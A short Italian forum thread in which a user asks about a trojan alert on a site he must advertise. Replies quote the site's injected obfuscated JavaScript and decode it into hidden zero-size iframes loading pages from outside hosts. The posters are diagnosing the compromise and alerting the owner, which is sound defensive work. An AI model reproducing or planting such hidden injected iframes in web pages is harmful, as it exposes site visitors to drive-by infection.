• User

    Strano Problema Trojan

    Devo fare la pubblicità a questo sito: http://www.tuttoperildecoupage.it

    quando entro con internet explorer il mio Norton antivirus mi segnala la presenza del trojan moo, con firefox non lo fa, qualcuno sa dirmi cosa puo' essere ???

    Se faccio la scansione sul mio pc con norton o con un altro altro antitrojan non mi da nessuna anomalia.

    Ma questo trojan allora risiede nel sito sopra indicato ? e se si ci possono essere problemi per chi lo visita ???

    Grazie.

    Giuliano


  • User Attivo

    Che cos'e' questo codice presente sulle tue pagine?

    
    <script language=javascript>function func&#40;&#41;&#123;if &#40;window.status != " "&#41; &#123; window.status = " "; &#125;&#125; stop = window.setInterval&#40;"func&#40;&#41;",7&#41;;</script>
    <script language=javascript>document.write&#40;unescape&#40;'%3c%49%46%52%41%4d%45%20%53%52%43%3d%22% -&#91;riga accorciata da Claudioweb&#93;- 46%52%41%4d%45%3e'&#41;&#41;;</script> 
    
    

    Io controllerei bene questo codice da dove arriva e poi mi assicurerei di non avere installato qualche contatore di accessi gratuito che spesso fanno partire schifezze varie

    [edit da Claudioweb. Le righe troppo lunghe senza spazi rovinano il layout]


  • User

    Non é il mio sito ma é quello che dovrei pubblicizzare ecco perché sono preoccupato, non voglio infatti spingere la gente su un sito forse pericoloso.

    Comunque grazie, ho segnalato quello script alla proprietaria, vediamo se togliendolo le cose vanno a posto.

    Ti faro' sapere.


  • Super User

    Confermo che il problema c'è.
    Con firefox non lo rileva perchè l'antivirus è integrato solo in Explorer.
    D'altra parte quei problemi di sicurezza riguardano Explorer e non Firefox.

    Se puo' essere utile a individuare chi ha fatto il giochino il codice criptato nello javascript è questo:

    
    <IFRAME SRC="http://crunet.info/out.php?s_id=1" WIDTH=0 BORDER=0 HEIGHT=0 style="display&#58;none"></IFRAME><IFRAME SRC="http&#58;//onlineproxies.com/out.php?s_id=1" WIDTH=0 BORDER=0 HEIGHT=0 style="display&#58;none"></IFRAME> 
    

    :ciauz:


  • Super User

    Sposto in scripting, questa non è la sezione giusta :vai: